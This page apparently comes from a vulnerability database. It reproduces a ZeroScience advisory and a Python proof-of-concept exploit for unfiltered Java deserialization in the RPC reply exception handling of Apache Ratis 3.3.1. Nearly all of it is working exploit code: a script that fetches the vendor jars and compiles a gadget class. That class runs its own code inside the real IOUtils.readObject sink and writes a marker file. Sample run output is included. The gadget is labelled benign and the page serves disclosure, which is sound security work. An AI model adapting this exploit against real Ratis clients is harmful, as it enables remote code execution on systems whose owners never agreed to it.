Lucene search
+L

Apache Ratis 3.3.1 Java Deserialization

🗓️ 07 Oct 2026 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 10 Views

Unsafe Java deserialization in Apache Ratis RPC error handling leads to remote code execution.

Code
<html><body><p>#!/usr/bin/env python
#
#
# Apache Ratis 3.3.1 Java Deserialization
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://ratis.apache.org
# Affected version: 3.3.1 and 3.3.0
#
# Summary: Apache Ratis is a highly customizable Raft protocol implementation
# in Java. Raft is a easily understandable consensus algorithm to manage replicated
# state. Apache Ratis could be used in any Java application where state should
# be replicated between multiple instances.
#
# Desc: Apache Ratis suffers from an unsafe Java deserialization vulnerability
# in its RPC error handling. The cause and stack-trace bytes carried in an RPC
# reply exception are deserialized through IOUtils.readObject with no class filtering,
# so a malicious server (or a man-in-the-middle) can return a crafted exception
# whose bytes are deserialized in the receiving client. A gadget chain was run
# through the real IOUtils.readObject in ratis-3.3.1. This can result in remote
# code execution against a Ratis client where a suitable gadget is present on the
# client classpath. The trust precondition is a compromised/malicious server or
# MITM, so a peer-trust rebuttal is likely.
#
# ================================================================================
# &gt; python ratis_poc.py
# [*] Step 1/4: fetching the real vendor jar from Maven Central (ratis 3.3.1, latest)
#     [&gt;] ratis-common-3.3.1.jar
#     [&gt;] slf4j-api-1.7.36.jar
# [*] Step 2/4: writing Java sources
# [*] Step 3/4: compiling
# [*] Step 4/4: running against the real IOUtils.readObject sink
# --------------------------------------------------------------------
# [*] Malicious reply 'cause' ByteString length = 71  (as ProtoUtils.writeObject2ByteString would produce)
# [*] Victim client calls the REAL org.apache.ratis.util.IOUtils.readObject()...
# &gt;&gt;&gt; EvilGadget.readObject() EXECUTING on the Ratis client JVM
# [*] readObject returned: EvilGadget  (non-Throwable object deserialized -&gt; sink is UNFILTERED)
# --------------------------------------------------------------------
#
# [+] TRIGGERED: attacker-controlled object's readObject() ran inside the real Ratis sink.
#     Proof file RATIS_PWNED.txt:
#       &gt;&gt;&gt; code ran during Ratis reply deserialization @ Tue Oct 07 01:23:06 CEST 2026
#
#     (EvilGadget is a benign demonstrator. Full RCE needs a real gadget on the Ratis
#      CLIENT classpath + the attacker on the server side / MITM of the plaintext link.)
#
# [*] Artifacts left in place: C:\Users\ratis_reply_deser_rce\work
# ================================================================================
#
# Tested on: Microsoft Windows 10 (x86_64)
#            Eclipse Temurin OpenJDK 21.0.6 (LTS)
#            SLF4J 1.7.36
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6010
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6010
#
#
# 13.08.2026
#


#            .______________________.
#            o_________MoAB_________o
             #                      #
             #           O/         #
             #          /|          #
             #          / \         #
import os    #_____________________ o
import sys    #_____________________ o
import shutil    #______________________ o
import subprocess    #________________________ o
import urllib.request    #________________________ o

r"""
Apache Ratis 3.3.1 (latest) - unfiltered Java deserialization of RPC-reply exception bytes
(ProtoUtils.toObject -&gt; org.apache.ratis.util.IOUtils.readObject).

What it does:
  1. Downloads the REAL vendor jar from Maven Central (ratis-common 3.3.1, the latest release -
     its IOUtils.readObject is still unfiltered) plus slf4j-api.
  2. Emits a benign demonstrator gadget EvilGadget.java and a driver.
  3. The driver serializes EvilGadget with a standard ObjectOutputStream - exactly what a
     malicious/compromised Ratis SERVER (or a MITM on the plaintext client link) does via
     ProtoUtils.writeObject2ByteString when it puts an object in a reply's exception
     cause/stackTrace ByteString.
  4. It then feeds those bytes to the REAL org.apache.ratis.util.IOUtils.readObject(in, Object.class)
     - the exact sink ProtoUtils.toObject calls when a Ratis CLIENT parses a RaftClientReplyProto.
     The sink has no ObjectInputFilter, so EvilGadget.readObject() runs (writes RATIS_PWNED.txt)
     before any Throwable/StackTraceElement cast. The script verifies that file exists.
"""

RATIS_VERSION = "3.3.1"
SLF4J_VERSION = "1.7.36"
CENTRAL = "https://repo1.maven.org/maven2"

JARS = {
    f"ratis-common-{RATIS_VERSION}.jar":
        f"{CENTRAL}/org/apache/ratis/ratis-common/{RATIS_VERSION}/ratis-common-{RATIS_VERSION}.jar",
    f"slf4j-api-{SLF4J_VERSION}.jar":
        f"{CENTRAL}/org/slf4j/slf4j-api/{SLF4J_VERSION}/slf4j-api-{SLF4J_VERSION}.jar",
}

GADGET_JAVA = r"""
import java.io.*;
import java.nio.file.*;
import java.nio.charset.StandardCharsets;

public class EvilGadget implements Serializable {
    private static final long serialVersionUID = 1L;
    public String note = "ratis-poc";
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        System.out.println("&gt;&gt;&gt; EvilGadget.readObject() EXECUTING on the Ratis client JVM");
        try {
            Files.write(Paths.get("RATIS_PWNED.txt"),
                ("&gt;&gt;&gt; code ran during Ratis reply deserialization @ " + new java.util.Date() + "\n")
                    .getBytes(StandardCharsets.UTF_8),
                StandardOpenOption.CREATE, StandardOpenOption.APPEND);
        } catch (Exception e) { /* ignore */ }
    }
}
"""

DRIVER_JAVA = r"""
import java.io.*;
import java.lang.reflect.Method;

public class Driver {
    public static void main(String[] args) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(new EvilGadget());
        }
        byte[] wire = bos.toByteArray();
        System.out.println("[*] Malicious reply 'cause' ByteString length = " + wire.length
            + "  (as ProtoUtils.writeObject2ByteString would produce)");

        System.out.println("[*] Victim client calls the REAL org.apache.ratis.util.IOUtils.readObject()...");
        Class&gt; ioutils = Class.forName("org.apache.ratis.util.IOUtils");
        Method readObject = ioutils.getDeclaredMethod("readObject", InputStream.class, Class.class);
        readObject.setAccessible(true);
        try {
            Object result = readObject.invoke(null, new ByteArrayInputStream(wire), Object.class);
            System.out.println("[*] readObject returned: "
                + (result == null ? "null" : result.getClass().getName())
                + "  (non-Throwable object deserialized -&gt; sink is UNFILTERED)");
        } catch (java.lang.reflect.InvocationTargetException e) {
            System.out.println("[*] sink threw AFTER gadget execution (expected for some payloads): " + e.getCause());
        }
    }
}
"""

def download(url, dest):
    if os.path.exists(dest) and os.path.getsize(dest) &gt; 0:
        print(f"    [=] cached {os.path.basename(dest)}")
        return
    print(f"    [&gt;] {os.path.basename(dest)}")
    req = urllib.request.Request(url, headers={"User-Agent": "ratis-poc/7.10"})
    with urllib.request.urlopen(req, timeout=60) as r, open(dest, "wb") as f:
        shutil.copyfileobj(r, f)
    if os.path.getsize(dest) == 0:
        raise RuntimeError(f"empty download: {url}")

def main():
    for t in ("java", "javac"):
        if shutil.which(t) is None:
            sys.exit(f"[!] '{t}' not found on PATH. Install a JDK (e.g. Temurin) and retry.")

    work = os.path.join(os.path.dirname(os.path.abspath(__file__)), "work")
    lib = os.path.join(work, "lib")
    os.makedirs(lib, exist_ok=True)

    print(f"[*] Step 1/4: fetching the real vendor jar from Maven Central (ratis {RATIS_VERSION}, latest)")
    for name, url in JARS.items():
        download(url, os.path.join(lib, name))

    print("[*] Step 2/4: writing Java sources")
    with open(os.path.join(work, "EvilGadget.java"), "w", encoding="utf-8") as f:
        f.write(GADGET_JAVA)
    with open(os.path.join(work, "Driver.java"), "w", encoding="utf-8") as f:
        f.write(DRIVER_JAVA)

    cp = os.pathsep.join([os.path.join("lib", n) for n in JARS] + ["."])
    marker = os.path.join(work, "RATIS_PWNED.txt")
    if os.path.exists(marker):
        os.remove(marker)

    print("[*] Step 3/4: compiling")
    if subprocess.run(["javac", "-cp", cp, "EvilGadget.java", "Driver.java"], cwd=work).returncode != 0:
        sys.exit("[!] compilation failed")

    print("[*] Step 4/4: running against the real IOUtils.readObject sink\n" + "-" * 68)
    subprocess.run(["java", "-cp", cp, "Driver"], cwd=work)
    print("-" * 68)

    if os.path.exists(marker) and os.path.getsize(marker) &gt; 0:
        print("\n[+] TRIGGERED: attacker-controlled object's readObject() ran inside the real Ratis sink.")
        print("    Proof file RATIS_PWNED.txt:")
        with open(marker, encoding="utf-8") as f:
            for line in f:
                print("      " + line.rstrip())
        print("\n    (EvilGadget is a benign demonstrator. Full RCE needs a real gadget on the Ratis")
        print("     CLIENT classpath + the attacker on the server side / MITM of the plaintext link.)")
        print(f"\n[*] Artifacts left in place: {work}")
        sys.exit(0)
    else:
        print("\n[-] No proof file produced - the gadget did not execute.")
        print(f"\n[*] Artifacts left in place: {work}")
        sys.exit(1)

if __name__ == "__main__":
    main()
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Oct 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
10